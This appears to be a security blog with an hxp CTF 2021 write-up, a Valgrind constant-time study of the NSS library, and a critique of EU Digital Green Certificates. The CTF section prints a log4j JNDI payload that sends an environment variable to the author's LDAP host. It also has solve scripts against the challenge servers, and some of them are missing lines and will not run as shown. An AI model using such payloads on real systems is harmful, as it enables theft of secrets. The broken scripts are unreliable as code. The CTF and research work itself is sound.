# hxp ctf 2021

This year, we at the Crocs-Side-Scripting CTF team took part in the hxp CTF 2021 . It was another challenging CTF with hard challenges. This post contains our solutions to the four challenges we solved (Log 4 sanity check#, gipfel#, kipferl# and infinity# as well as a note on the solution to zipfel#. We came in at a respectable 34th place, which was an improvement from last years position. Hoping for top 20 next year!

# Log 4 sanity check#

msc, 104 points

We were discussing with the team just before the CTF this year whether there will be a challenge exploiting the recent log4j library vulnerabilities. When we saw it we were quite amused. Anyway, the solution to the challenge was quite simple. The flag was stored in an environment variable, which hinted at using the log4j exploit that does not achieve RCE but only environment variable exfiltration via a LDAP (or DNS, …) request. The payload was just the log4j exploit string pointing at this server targeting the flag, however we needed to actually have something to detect the queried LDAP path containing the flag.

${jndi:ldap://neuromancer.sk/${env:FLAG}}


Simply listening on the LDAP port showed some communication from the vulnerable server, but the requested path is not sent in the first request and without a proper LDAP server response the vulnerable service would not send it. We quickly whipped up the first LDAP server that we found slapd and after a bit of bumbling around with its configuration to have it run and log, but after checking the syslog, there it was!

Dec 17 16:43:31 Finn slapd[476096]: conn=1001 op=1 do_search: invalid dn: "hxp{Phew, I am glad I code everything in PHP anyhow :) - :( :( :(}"


This challenge could have also been solved without the LDAP server, see here for example.

# gipfel#

cry, 85 points

The first crypto challenge of this year was rather simple, a weird Diffie-Hellman type thing where not only the private key is private, but also the generator, which is randomly generated from a password every three runs.

def enc(a):
f = {str: str.encode, int: int.__str__}.get(type(a))
return enc(f(a)) if f else a

def H(*args):
data = b'\0'.join(map(enc, args))
return SHA256.new(data).digest()

def F(h, x):
return pow(h, x, q)

def go():

privA = 40*random.randrange(2**999)
pubA = F(g, privA)
print(f'{pubA = :#x}')

pubB = int(input(),0)
if not 1 < pubB < q:
exit('nope')

shared = F(pubB, privA)

verA = F(g, shared**3)
print(f'{verA = :#x}')

verB = int(input(),0)
if verB == F(g, shared**5):
aes = AES.new(key, AES.MODE_CTR, nonce=b'')
print(f'flag:', aes.encrypt(flag.encode()).hex())
else:
print(f'nope! {shared:#x}')

signal.alarm(2021)
go()
go()
go()


I think we have solved this challenge quite differently than other teams. We realized that after one run of the protocol in which the $$verB$$ check fails the server shares the used $$shared$$ value which together with $$verA$$ allows for constructing an offline oracle for testing guesses of the generator $$g$$ and thus also the password. The oracle is based on the equation: $verA = g^{shared^3} \mod q$ which we can check for all password guesses once we have $$verA$$ and $$shared$$ from one go() run.

#!/usr/bin/env python3
# Requires pwntools, tqdm, pycryptodome
from pwn import *
from tqdm import tqdm
from Crypto.Hash import SHA256
from Crypto.Cipher import AES
from binascii import unhexlify

def enc(a):
f = {str: str.encode, int: int.__str__}.get(type(a))
return enc(f(a)) if f else a

def H(*args):
data = b'\0'.join(map(enc, args))
return SHA256.new(data).digest()

def F(h, x):
return pow(h, x, q)

def solve_pow(server):
pow_regex = re.compile(r"\"([0-9a-f]+)\"")
bits_regex = re.compile("([0-9]+) zero")

pow_line = server.recvline()
pow_challenge = pow_regex.search(pow_line.decode()).groups()[0]
pow_bits = bits_regex.search(pow_line.decode()).groups()[0]

pow_proc = subprocess.run(["./pow-solver", pow_bits, pow_challenge], capture_output=True)
pow_res = pow_proc.stdout.strip()

server.sendline(pow_res)

aes = AES.new(key, AES.MODE_CTR, nonce=b'')
return aes.decrypt(unhexlify(data))

if __name__ == "__main__":
log.info("Precomputing gs")
g_options = {}
for pw in tqdm(range(10**6)):
h = int(H(pw).hex(), 16)
g_options[pw] = h

server = remote("65.108.176.66", 1088)
log.info("Solving PoW")
solve_pow(server)
log.success("Solved PoW")

pubA = int(server.recvline().strip().decode().split(" = ")[1], 16)

server.sendline(b"2")

verA = int(server.recvline().strip().decode().split(" = ")[1], 16)

server.sendline(b"2") # This will fail and we will get shared.

shared = int(server.recvline().strip().decode().split("! ")[1], 16)
exp = shared**3 % (q-1)

if verA == F(g, exp):
break
log.success(f"We got the g: {g}")

log.info("--- Second run ---")

pubA = int(server.recvline().strip().decode().split(" = ")[1], 16)

privB = 10
pubB = F(g, privB)
server.sendline(str(pubB).encode())

verA = int(server.recvline().strip().decode().split(" = ")[1], 16)

shared = F(pubA, privB)
assert verA == F(g, shared**3)
verB = F(g, shared**5)
server.sendline(str(verB).encode())

encrypted_flag = server.recvline().strip().decode().split(": ")[1]
log.success(f"The flag is {decrypt(password, shared, encrypted_flag)}")

server.close()


The code above gets the flag in the time limit, as it incorporates a simple speedup to reduce the $$shared^3$$ exponent modulo $$q-1$$.

# kipferl#

cry, 227 points

The kipferl challenge was very similar to gipfel with the only difference being that the finite field Diffie-Hellman was replaced with elliptic curve Diffie-Hellman over a weird curve over the same prime. We managed to solve it as the third fastest team, mainly due to our gipfel solution being different and more generic than the usual one. As our gipfel solution only used the group structure and the values $$verA$$ and $$shared$$, we could very quickly adapt it to also work on kipferl. There were a few twists though:

• The generator $$G$$ could now lie on the original curve or on its twist. This made the simple speedup of gipfel above slightly more tricky, as we needed to test where the generator guess is to reduce by the correct order.
• The scalar multiplication operations as implemented in the challenge are quite slow, and we needed to run quite a lot of them in the time limit of 2021 seconds.

To address these issues, we precomputed the possible generators for all passwords together with information on whether they lied on the original curve or twist curve and used parallelization for the rest. The script below precomputes generator information in Sagemath.

# Requires tqdm and pycryptodome
import json
from tqdm import tqdm
from Crypto.Hash import SHA256

K = GF(q)
a, b = K(1), K(0)

curve = EllipticCurve([a, b])

def enc(a):
f = {str: str.encode, int: int.__str__}.get(type(a))
return enc(f(a)) if f else a

def H(*args):
data = b'\0'.join(map(enc, args))
return SHA256.new(data).digest()

if __name__ == "__main__":
print("Precomputing gs...")
gs = {}
for pw in tqdm(range(10**6)):
g = int(H(pw).hex(), 16)
try:
curve.lift_x(K(g))
mod = "orig"
except:
mod = "twist"
gs[pw] = {
"g": g,
"mod": mod
}

with open("gs.json", "w") as f:
json.dump(gs, f)


Next the actual attack script in Python. We actually reduce by a square root $$r$$ of the order of the original curve as its group structure is bi-cyclic ($$\mathbb{Z}_r \times \mathbb{Z}_r$$). With enough cores the script below gets the flag.

#!/usr/bin/env python3
from pwn import *
from Crypto.Hash import SHA256
from Crypto.Cipher import AES
from binascii import unhexlify
from multiprocessing import Pool
from tqdm import tqdm
import json

a, b = 1, 0
order_orig = 21992493417575896428286087521674334179336251497851906051131955410904158485314789427947788692030188502157019527331790513011401920585195969087140918256569620608732530453375717414098148438918130733211117668960801178110820764957628836
order_sqrt = 4689615487177589107664782585032558388794418913529425573939737788208931564987743250881967962324438559511711351322406
order_twist = 2 * q + 2 - order_orig

################################################################

(X1,Z1), (X2,Z2), (X3,Z3) = PQ, P, Q
X4 = (X2**2-a*Z2**2)**2-8*b*X2*Z2**3
Z4 = 4*(X2*Z2*(X2**2+a*Z2**2)+b*Z2**4)
X5 = Z1*((X2*X3-a*Z2*Z3)**2-4*b*Z2*Z3*(X2*Z3+X3*Z2))
Z5 = X1*(X2*Z3-X3*Z2)**2
X4,Z4,X5,Z5 = (c%q for c in (X4,Z4,X5,Z5))
return (X4,Z4), (X5,Z5)

def xMUL(P, k):
Q,R = (1,0), P
for i in reversed(range(k.bit_length()+1)):
if k >> i & 1: R,Q = Q,R
if k >> i & 1: R,Q = Q,R
return Q

################################################################

def enc(a):
f = {str: str.encode, int: int.__str__}.get(type(a))
return enc(f(a)) if f else a

def H(*args):
data = b'\0'.join(map(enc, args))
return SHA256.new(data).digest()

def F(h, x):
r = xMUL((h,1), x)
return r[0] * pow(r[1],-1,q) % q

def test_F(args):
password, g, verA, exp = args
out = F(g, exp)
if verA == out:
else:

def solve_pow(server):
pow_regex = re.compile(r"\"([0-9a-f]+)\"")
bits_regex = re.compile("([0-9]+) zero")

pow_line = server.recvline()
pow_challenge = pow_regex.search(pow_line.decode()).groups()[0]
pow_bits = bits_regex.search(pow_line.decode()).groups()[0]

pow_proc = subprocess.run(["./pow-solver", pow_bits, pow_challenge], capture_output=True)
pow_res = pow_proc.stdout.strip()

server.sendline(pow_res)

aes = AES.new(key, AES.MODE_CTR, nonce=b'')
return aes.decrypt(unhexlify(data))

if __name__ == "__main__":
with open("gs.json") as f:

server = remote("65.108.176.252", 1099)
log.info("Solving PoW")
solve_pow(server)
log.success("Solved PoW")

pubA = int(server.recvline().strip().decode().split(" = ")[1], 16)

server.sendline(b"2")

verA = int(server.recvline().strip().decode().split(" = ")[1], 16)

server.sendline(b"2") # This will fail and we will get shared.

shared = int(server.recvline().strip().decode().split("! ")[1], 16)
exp_orig = shared**3 % order_sqrt
exp_twist = shared**3 % order_twist

tasks = [(int(password), val["g"], verA, exp_orig if val["mod"] == "orig" else exp_twist) for password, val in gs.items()]

pool = Pool()
for r in tqdm(res, total=len(gs)):
if r[0]:
g = r[2]
pool.terminate()
pool.join()
break
else:
log.error("No luck")
exit(1)
log.success(f"We got the g: {g}")

log.info("---- Second run ----")

pubA = int(server.recvline().strip().decode().split(" = ")[1], 16)

privB = 10
pubB = F(g, privB)

server.sendline(str(pubB).encode())

verA = int(server.recvline().strip().decode().split(" = ")[1], 16)

shared = F(pubA, privB)
assert verA == F(g, (shared**3))
verB = F(g, (shared**5))

server.sendline(str(verB).encode())

encrypted_flag = server.recvline().strip().decode().split(": ")[1]
log.success(f"The flag is {decrypt(password, shared, encrypted_flag)}")

server.close()


# infinity#

cry, 500 points

This challenge presents a SageMath implementation of the CSIDH protocol that gives you 600 seconds of interaction in which you can interact upto 500 times but can not send the same public key more than once.

#!/usr/bin/env sage
proof.all(False)

if sys.version_info.major < 3:
print('nope nope nope nope | https://hxp.io/blog/72')
exit(-2)

ls = list(prime_range(3,117))
p = 4 * prod(ls) - 1
base = bytes((int(p).bit_length() + 7) // 8)

R.<t> = GF(p)[]

def montgomery_coefficient(E):
a,b = E.short_weierstrass_model().a_invariants()[-2:]
r, = (t**3 + a*t + b).roots(multiplicities=False)
s = sqrt(3*r**2 + a)
return -3 * (-1)**is_square(s) * r / s

def csidh(pub, priv):
assert type(pub) == bytes and len(pub) == len(base)
E = EllipticCurve(GF(p), [0, int.from_bytes(pub,'big'), 0, 1, 0])
assert (p+1) * E.random_point() == E(0)
for es in ([max(0,+e) for e in priv], [max(0,-e) for e in priv]):
while any(es):
x = GF(p).random_element()
try: P = E.lift_x(x)
except ValueError: continue
k = prod(l for l,e in zip(ls,es) if e)
P *= (p+1) // k
for i,(l,e) in enumerate(zip(ls,es)):
if not e: continue
k //= l
phi = E.isogeny(k*P)
E,P = phi.codomain(), phi(P)
es[i] -= 1
return int(montgomery_coefficient(E)).to_bytes(len(base),'big')

################################################################

randrange = __import__('random').SystemRandom().randrange
class CSIDH:
def __init__(self):
self.priv = [randrange(-2,+3) for _ in ls]
self.pub = csidh(base, self.priv)
def public(self): return self.pub
def shared(self, other): return csidh(other, self.priv)

################################################################

alice = CSIDH()

__import__('signal').alarm(600)

from Crypto.Hash import SHA512
secret = ','.join(f'{e:+}' for e in alice.priv)
stream = SHA512.new(secret.encode()).digest()
assert len(flag) <= len(stream)
print('flag:', bytes(x^^y for x,y in zip(flag,stream)).hex())

seen = set()
for _ in range(500):
bob = bytes.fromhex(input().strip())
assert bob not in seen; seen.add(bob)
print(alice.shared(bob).hex())


After some analysis of the CSIDH implementation we noticed that it is faulty. Occasionally (with probability $$1/l_i$$) it will fail to walk an isogeny of degree $$l_i$$ during its isogeny walk. The secret exponents in this implementation are constrained to $$\{-2, -1, 0, 1, 2\}$$. This means that if the exponent $$e_i$$ is zero, the implementation can not fail to walk an $$l_i$$-degree isogeny as there is supposed to be no walk, if $$\lvert e_i \rvert = 1$$ there is one chance for it to fail, if $$\lvert e_i \rvert = 2$$ there are two chances for it to fail.

We knew that we needed to use these different failure probabilities to get information on the private key which would get us the flag. If we had Alice’s public key or could send the same public key more than once we could detect when an error happened, as we could compare the returned shared secret with the expected one. However, we had no clear way to do that. What we thought of next send us on a twisted and long detour where our solution almost worked but not quite. Get it twist-ed?

We thought of using twists (shown in the diagram above as $$t$$) to let Alice walk back and forth between two “neighborhoods” of curves, one neighborhood close to the starting curve (can be $$E_0$$ or really any curve) and one neighborhood close to her public key. We could then try to find a path between consecutive pairs of curves in each neighborhood using a meet-in-the-middle graph search algorithm. These paths would be the errors that Alice made during her two computations “there” and “back” (on the diagram above the paths are highlighted using colors). We would then aggregate these errors and use their relative frequencies to infer information about Alice’s private key.

There were a couple of issues with this approach. First, the $$E_0$$ curve is special with regards to twists, as twisting it jumps to the second graph component in the isogeny graph (also we thought that SageMath might have some issues computing a twist of this curve correctly). Thinking back at this, it could actually be beneficial to use this fact if the other graph component is somehow smaller to have an easier time searching the neighborhoods. The other issue with this twisted approach is that you can easily only detect errors upto a sign and you will not detect the case when Alice makes the same error during both computations “there” and “back”. However, even with these issues our approach almost worked and we spent a good part of a day on looking at its partially good results and trying to figure out where exactly it was going wrong. There was clear signal in the noise as we detected when errors happened in our test runs, but after aggregating the errors we were not getting what we expected.

The idea to ditch the twists came on the last day of the CTF. We finally thought of the simpler solution to creating our two neighborhoods of curves by giving Alice the curve $$E_0$$, then $$[3]E_0$$, $$[5]E_0$$, and so on, obtaining curves $$A_0$$, $$A_1$$, $$A_2$$ then doing $$[3^{-1}]A_1$$ and so on to map the curves back to the neighborhood. What we got by mapping the curves back were essentially Alice’s public key with errors introduced by the faulty algorithm. We counted the unique curves in this mapped set and given that the probability of no error occuring at all during the computation of the faulty algorithm was quite high we could see that the curve that occured the most often was Alice’s true public key, without any errors. We could then run a meet-in-the-middle algorithm to find paths between this public key and other mapped curves, these paths were the errors that Alice made during the computation. Compared to the twist approach, here we were getting all the errors correctly and even with the sign intact, as we were searching for paths between an error-less public key and a public key with errors (a single run of the faulty algorithm was involved, not two).

We then aggregated the errors (which matched the private key exactly on smaller instance test runs we did) but then no flag . We weren’t sure what had happened and tried to fix errors by hand in coefficients where the frequency of errors was the most “in-between” two expected frequencies given the private key coefficients. This proved tedious, but then we figured out that we have the actual Alice’s public key and we could run one final meet-in-the-middle run with this public key and the public key obtained by our private key guess. This would fix the errors in the private key for us, and indeed it did!

hxp{1s0g3n1es__m0rE_L1k3__1_s0_G3n1u5}


# zipfel#

cry, 714 points - did not solve

Although we did not manage to solve zipfel during the CTF, we had a pretty good idea on how to do it and even had a script computing the solution running as the CTF ended. zipfel is a continuation of kipferl in that the code is almost unchanged except the ommision of the $$verA$$ value. Without this value our previous attacks no longer work, as even with the $$shared$$ value we can’t create our oracle. However, it turned out there was another oracle. We could use the provided $$pubA$$ public key and Weil’s pairing to check our guesses of the generator $$G$$. We looked at zipfel quite late, only after solving infinity late on the last day and there was simply no time to compute this given the rather slow pairing computation in SageMath on that curve.

# Testing constant-timeness using Valgrind: case of the NSS library

Cryptographic code needs to be constant-time to not leak secrets via timing. Being constant-time is usually defined as:

• No branching on secret-dependent values.
• No memory access based on secret-dependent values.
• No secret-dependent values given to some variable time functions.

There are a few ways of testing or verifying that code is constant-time, for example using the tools I described in a previous post. In this post I looked at using Valgrind’s memcheck tool to test constant-timeness of primitives in the NSS cryptographic library.

# Testing constant-timeness using Valgrind#

As far as I know, the original idea of using Valgrind’s MemCheck for testing constant-timeness goes to Adam Langley’s ctgrind, introduced in a blog post and on github, back in 2010. Older versions of Valgrind did not expose the necessary interface so a patch was needed, however, no patches are needed for current versions of Valgrind. A modern presentation of the idea is Timecop.

The idea is to use Valgrind MemCheck’s memory definedness tracking as a sort of dynamic data dependency tracker that reports issues when data derived from undefined data is branched upon or is used for memory access.

First you write a test-wrapper for the function you want to test, which in this case is the compute function below. Then in the wrapper you mark all of the secrets as undefined using Valgrind’s client_request feature. The macros VALGRIND_MAKE_MEM_UNDEFINED(addr, len) and VALGRIND_MAKE_MEM_DEFINED(addr, len) are available from <valgrind/memcheck.h>.

#include <valgrind/memcheck.h>

int compute(unsigned char secret[32]) {
if (secret[0] == 0) {
return 0;
} else {
return 1;
}
}

int main(void) {
unsigned char buf[32];
for (int i = 0; i < 32; ++i)
buf[i] = 0;
VALGRIND_MAKE_MEM_UNDEFINED(buf, 32);
compute(buf);
return 0;
}


Then when you run valgrind on the produced binary you get:

Conditional jump or move depends on uninitialised value(s)
at 0x1093BC: compute (code.c:4)
by 0x109464: main (code.c:16)


Which shows that Valgrind’s MemCheck correctly detected the branching on secret values present in the compute function.

## Properties & Limitations#

This method of testing constant-timeness has some limitations. It is a runtime technique so only code that gets executed gets tested. Getting good code coverage is thus important. While Valgrind MemCheck’s checking machinery is complex there is no guarantee that it in itself is correctly implemented or that it does not have false negatives or false positives. This is however the case with all software, and by doing any sort of tool-assisted analysis one has to include the tool in the trusted computing base and assume that it works.

# Testing the Mozilla NSS library#

I started this work with the goal of trying out this technique of testing constant-timeness on a real-worls library and also with the goal of upstreaming the changes to the library CI.

Working with NSS created quite a bit of hassle. It uses Mercurial for version control. I have never used Mercurial before and some of its concept looked completely backwards to my git-familiar brain. Also, setting up and understanding all of the bazillion Mozilla’s services necessary to submit patches to NSS was quite involved.

## Integrating annotations#

I decided to focus on testing constant-timeness of the cryptographic primitives in NSS first. Timing attacks often focus on these primitives, but some focus on higher level constructions in TLS (like Lucky13) so larger parts of the TLS stack should be tested. To use Valgrind to test constant-timeness of crypto primitives one needs to write test-cases which execute the primitives on secret inputs marked undefined. Luckily, NSS already has test-cases for many of its primitives in the bltest and fbectest binaries, so I added the Valgrind annotations to those and pushed the revision.

I only annotated private keys and random nonces as secret values. I decided to not annotate inputs to hash functions and messages in encryption functions, even though these are also often meant to be secret (e.g. when hashing a secret to produce a key, or when encrypting a secret message, duh).

## Testing constant-timeness#

To actually run the test-cases in CI a test suite was necessary. I decided to copy over the cipher test suite, which runs the bltest binary usualy and create a new test suite ct which does the same but under Valgrind’s memcheck (revision). I also added tests using Valgrind on the fbectest binary which performs ECDH.

# Results#

I collected data while running on a machine with AMD Ryzen 7 PRO 4750U, using Valgrind 3.17.0 and gcc 11.1.0 on a Debug build of NSS targeting x86_64 based on revision ea6fb7d0d0fc. The test process reported AES-NI, PCLMUL, SHA, AVX, AVX2, SSSE3, SSE4.1, SSE4.2 all supported.

## AES-GCM decryption#

The first report from Valgrind was for AES-GCM decryption:

Conditional jump or move depends on uninitialised value(s)
at 0x5115E5C: intel_AES_GCM_DecryptUpdate (intel-gcm-wrap.c:319)
by 0x5087D43: AES_Decrypt (rijndael.c:1206)
by 0x10F46F: aes_Decrypt (blapitest.c:1159)
by 0x113D4D: cipherDoOp (blapitest.c:2506)
by 0x1170E1: blapi_selftest (blapitest.c:3358)
by 0x118C62: main (blapitest.c:3912)


It points at line 319 in the intel_AES_GCM_DecryptUpdate function, if we look at that line we see:

if (NSS_SecureMemcmp(T, intag, tagBytes) != 0) {     // Line 319
memset(outbuf, 0, inlen);
*outlen = 0;
/* force a CKR_ENCRYPTED_DATA_INVALID error at in softoken */
return SECFailure;
}


which is benign leakage, as what leaks is whether the GCM tag is valid or not. As Valgrind does not report further leaks inside of the secure compare function we can assume that only the result of the function leaks via the branch on line 319. I have to give bonus points to NSS here for clearing the output buffer when an AEAD tag verification fails and not passing the unauthenticated decrypted data to the caller.

## DSA signing#

During the DSA_SignDigestWithSeed call in DSA signing, the raw private key data is converted to an mpi via mp_read_unsigned_octets. This seems to leak some amount of information on the private key. This leakage is similar to leakage in 1 and 2, where a non-constant-time base64 decoding operation performed on private key data was targeted. However, as there is no base64 decoding here, transforming raw data into an mpi, I expect the leakage to be rather small. With that said, in DSA even leaking partial information about the random nonce (mainly most or least significant bits) can lead to key recovery via lattice attacks like Minerva 3. I can’t tell whether this function is vulnerable so more analysis is necessary.

Conditional jump or move depends on uninitialised value(s)
at 0x50753D8: mp_cmp_z (mpi.c:1577)
by 0x5031F07: dsa_SignDigest (dsa.c:384)
by 0x50326F4: DSA_SignDigestWithSeed (dsa.c:547)
by 0x10FA27: dsa_signDigest (blapitest.c:1326)
by 0x114799: cipherDoOp (blapitest.c:2602)
by 0x116F09: blapi_selftest (blapitest.c:3321)
by 0x118C62: main (blapitest.c:3912)


Then Valgrind proceeds to report leakage all over the DSA signing process, in various mp_mul and mp_mulmod calls mostly, like the report below:

Conditional jump or move depends on uninitialised value(s)
at 0x507712D: s_mp_clamp (mpi.c:2929)
by 0x50740C8: mp_mul (mpi.c:888)
by 0x5032288: dsa_SignDigest (dsa.c:439)
by 0x50326F4: DSA_SignDigestWithSeed (dsa.c:547)
by 0x10FA27: dsa_signDigest (blapitest.c:1326)
by 0x114799: cipherDoOp (blapitest.c:2602)
by 0x116F09: blapi_selftest (blapitest.c:3321)
by 0x118C62: main (blapitest.c:3912)


However, the DSA signing code uses a blinding side-channel countermeasure in which the nonce $$k$$ is blinded and used as $$t = k + q f$$ where $$f$$ is a random int with its most-significant bit set and $$q$$ is the order of the generator $$g$$. This blinding is done for the modular exponentiation $$g^t \mod q = g^k \mod q$$. For later steps, namely the modular inversion of the nonce $$k$$ and work with the private key, further blinding is done with random values from $$\mathbb{Z}_q$$. This blinding seems to be enough to stop the leakage of the nonce or the private key, but more detailed analysis would be required to be sure.

## RSA decryption, RSA-OAEP decryption and RSA-PSS signing#

All of the RSA, RSA-OAEP decryption and RSA-PSS signature algorithms use the same underlying rsa_PrivateKeyOpCRTNoCheck function, so they can be described together.

Similarly to DSA signing, the function first loads the contents of the raw RSA-CRT private key into an mpi: $p,\; q,\; d\pmod{p - 1},\; d\pmod{q - 1},\; q^{-1}\pmod{p}$ Here, the leakage might be more serious than in the DSA case, as more secret values are loaded and reconstructing the RSA private key given some information on those values might be possible (see for example 4, 5 or 6).

Furthermore, the code then proceeds to directly give the private values to several mp_mod and mp_exptmod calls which Valgrind flags as leaking. I expect the mp_exptmod function to leak a lot of information about the exponent as it is just a general purpose modular exponentiation function and not RSA specific one created with constant-timeness in mind.

## ECDH key derivation#

The ECDH_Derive function uses the same logic to read the raw private key into an mpi as do DSA and RSA. This leaks some amount of information but like in the DSA case I expect it to be very small and practically unusable.

### P-256#

The next reported group of issues concerns the NIST P-256 implementation in NSS. ECDH on this curve is implemented using the ec_GFp_nistp256_points_mul_vartime function. Now this may be a red flag , but it is a benign one. Luckily, the variable time function is a two-scalar multiplication function which short-circuits to the constant-time ec_GFp_nistp256_point_mul if only one scalar input is provided, which is the case for ECDH. Why does Valgrind report issues then? Well, it only reports issues inside the from_montgomery which is supposed to transform the resulting point coordinates back from Montgomery form after the scalar multiplication. It is hard to classify hw serious this leakage is. It reminds me of a few papers (7 and 8) which exploited similar side-channel leakage of the projective representation of a result of scalar multiplication to extract partial information about the scalar used. However, that was done for ECDSA, where partial information about the scalar can lead to key recovery. For ECDH, this leakage might reveal some bits of the scalar. Perhaps in case of static ECDH an attacker could adaptively query the scalar multiplication while measuring this leaking conversion and mount something like the Raccoon attack (9)?

The final report by Valgrind for P-256 is about the ec_point_at_infinity function, which is used to test whether the derived point in ECDH is not the point at infinity and if it is, to abort the operation. I think this is benign leakage as it is leaked anyway when the operation fails.

### P-284 and P-521#

NSS’s implementation of the P-384 and P-521 curves is from ECCKiila which itself uses fiat-crypto. Its use in ECDH still has the reading of the private key leak and the final comparison to point at infinity but doesn’t have the from_montgomery leaks, because of a different scalar multiplication implementation.

### Curve25519#

Valgrind only reports one issue in the Curve25519 case and that is a branching on a comparision of the output point to the point at infinity, which is again benign.

## ECDSA signing#

During this implementation work I stumbled upon some broken tests of ECDSA in the bltest binary and reported them here.

The ECDSA signing code in NSS is very similar to DSA signing and Valgrind reports roughly the same issues. The ECDSA code is also using blinding but only on the modular arithmetic level, the random nonce is not blinded when it is used in the scalar multiplier. Due to the broken nature of the tests I couldn’t really look at how different curves are handled in ECDSA but a cursory run saw no leakage from the from_montgomery function as in ECDH on P-256.

As in DSA, the random nonce is also read into an mpi in ECDSA using the mp_read_unsigned_octets function and Valgrind reports some leakage present. Similarly to the DSA case, this leakage might be an issue because it presents information on the random nonce which can lead to vulnerability to lattice attacks.

# Conclusions#

Doing this analysis was harder but also more insightful than I expected. Here are some of my observations:

• Getting this testing of constant-timeness to work, even with a simple tool like Valgrind, on a library as a new contributor is definitely harder than I thought. Maybe this is just NSS, but I expect other popular open-source crypto libraries to be similar.
• Testing constant-timeness of cryptographic code does not end with running Valgrind on annotated test-cases or even after including constant-timeness test runs in CI. The results presented by Valgrind require actual human eyes to look at them and evaluate whether the leaks are serious/benign. Even I am unsure of some of the leaks presented and I have experience with timing attacks and the related cryptosystems. The noise from benign leaks presented in Valgrind output needs to be solved somehow before these patches can land and run in CI, otherwise these failing tests can mask the introduction of actual exploitable leaks. Valgrind offers a way to silent MemCheck warnings from given codepaths which could be used to achieve this.
• I believe that some of the presented leaks should be fixed, namely the RSA ones seem to be quite serious.

Just to add, this work was done and this post written before the post of Google Project Zero’s Tavis Ormandy on an unrelated vulnerability in NSS. I certainly don’t want this post to sound like I’m criticizing the folks behind NSS and want this post to help them instead.

1. Florian Sieck, Sebastian Berndt, Jan Wichelmann, Thomas Eisenbarth: Util::Lookup: Exploiting Key Decoding in Cryptographic Libraries

2. Daniel Moghimi, Moritz Lipp, Berk Sunar, Michael Schwarz: Medusa: Microarchitectural Data Leakage via Automated Attack Synthesis

3. Jan Jancar, Vladimir Sedlacek, Petr Svenda, Marek Sys: Minerva: The curse of ECDSA nonces

4. Nadia Heninger, Hovav Shacham: Reconstructing RSA Private Keys from Random Key Bits

5. Gabrielle de Micheli, Nadia Heninger: Recovering cryptographic keys from partial information, by example

6. David Naccache, Nigel P. Smart, Jacques Stern: Projective Coordinates Leak

7. Alejandro Cabrera Aldaya, Cesar Pereida García, Billy Bob Brumley: From A to Z: Projective coordinates leakage in the wild

8. Robert Merget, Marcus Brinkmann, Nimrod Aviram, Juraj Somorovsky, Johannes Mittmann, Jörg Schwenk: Raccoon attack

# Digital Green Certificates: Security analysis not included

Every EU member state is rushing to implement Digital Green Certificates until the end of June, yet no one is stopping to look at their security.

Digital Green Certificates are a European solution to the problem of free movement in the times of the COVID pandemic. The idea is that while traveling to some other country in the EU, you won’t have to mess about with the random paper confirmation of vaccination you got at the vaccination place but instead will be able to present a standardized and interoperable vaccination or test certificate that the authorities of each member state will validate. The need for interoperability is significant, and thanks to the European Commission the opportunity to standardize on one format was used. In this post, I look at the design of Digital Green Certificates from a security perspective and outline several security issues.

## Digital Green Certificates#

The Digital Green Certificate (DGC) is digital proof that a person has been vaccinated against COVID-19, received a negative test result, or recovered from COVID-19. It is valid in all EU countries, and even though it contains the word digital in its name, it can be in the form of a paper or a digital certificate1. In the end it is just a QR code that has the vaccination/test/recovery data in it, signed by an issuing body from some member state. This is supported by public key infrastructure similar to the one used in e-passports that will be centrally operated by the EU (DIGIT). The QR code contains data such as the name of the holder, date of birth, type of the certificate, and respective certificate data (e.g., date of vaccination, vaccine name). Contrary to many claims in the media - one even from the Slovak government agency implementing the DGC apps2 - the data on the QR code can be read by anyone and its confidentiality is not protected.

The technical specifications can be found here and are published by the eHealth network which is an EU body with members from all member states and Norway. The main technical specifications discussed in this post are the Technical Specifications for Digital Green Certificates:

The European Commission has tasked Deutsche Telekom and SAP to develop reference implementations of all of the required components, which can be found under the eu-digital-green-certificates Github organization, take particular note of the dgc-overview repository. Some additional specification details and components are also under the ehn-dcc-development Github organization, specifically the hcert-spec repository. There is also a Slack space provided by the Linux Foundation Public Health initiative that you can join here.

In the typical usage scenario, a person gets vaccinated and receives a paper or an email document containing the DGC (a QR code). This QR code can be scanned into a DGC wallet app which stores the person’s certificates. If the person then decides to travel to some EU state they can present the DGC using the wallet app or on paper to a border officer who will use a verifier app to verify that the DGC is valid and verify their identity against the data in the DGC. Both the wallet app and the verifier app communicate with a national backend and are developed by each member state.

## The TAN factor#

Many aspects of the DGC architecture are well specified and required from implementors. However the member states are free to implement their parts of the infrastructure (wallet app, verifier app, issuer app, national backend) as they see fit with only some requirements on interoperability. Volume 4 of the specifications, which concerns the wallet and verifier apps, is not a normative specification but rather a description of the reference implementation and the closest guide one can get as to how the nationally developed apps are going to look like.

The wallet app specification describes how a user imports a DGC into the app. In this description, a TAN (Transaction Authentication Number) can be first seen. This TAN is described as a second factor that is generated with the DGC when it is issued and then sent to the user. During import of the DGC into the wallet app, the user has to scan the DGC and enter the correct TAN which is sent to the backend where it is validated against the TAN stored with the ID of the DGC. The backend allows the import only if the DGC hasn’t been previously imported and if the TAN is correct. If several incorrect TAN guesses are sent to the backend for a given DGC ID that ID is blocked and the DGC cannot be imported into the wallet app. During this import process, the app also generates a keypair (of an unspecified type) and sends the generated public key to the backend, where it is stored if the import was successful.

That’s enough for the description of how the app works, let’s now get to where the security issues are. To start off, the TAN is not really a second factor. The specification explicitly allows the TAN to be sent to the user alongside the DGC (page 15 of Volume 4):

Second, the TAN could be returned in conjunction with the signed DGC (as shown in the flow diagram below) or sent directly to the user’s phone.

See the issue? If the TAN is just sent alongside the DGC it cannot be a second factor. Why is there a need for a second factor here? If I somehow obtain a user’s DGC I will just print it on paper and not mess with an app that will not let me import the DGC, or if I want to make the extra effort, I will just make a clone of the app which has no such TAN check on import, but is otherwise identical. Now you might be thinking, okay, but there’s a keypair generated on import in the legitimate app and the public key gets sent to the backend so surely having the DGC in a rogue app will not help you because the verifier app checks with the backend that the DGC was imported and somehow challenges the wallet app to prove possession of the corresponding private key. Well, think again, the generated keypair is not mentioned in the rest of the document and thus it doesn’t matter that the rogue app doesn’t have the private key. In fact, it doesn’t even matter that there is some TAN check as the original paper DGC is still valid and could be used just like the digital one.

Thus, the whole TAN check and public key binding on the backend is a completely useless security measure and will always be useless as long as paper and in-app DGCs have to be treated the same. As one cannot discriminate against people with paper DGCs any attempts at better security properties than those of the paper DGCs are pointless. The inclusion of security measures which do not provide additional security is a red flag when looking at any system, as it usually means that the designers did not know why they added the security measure.

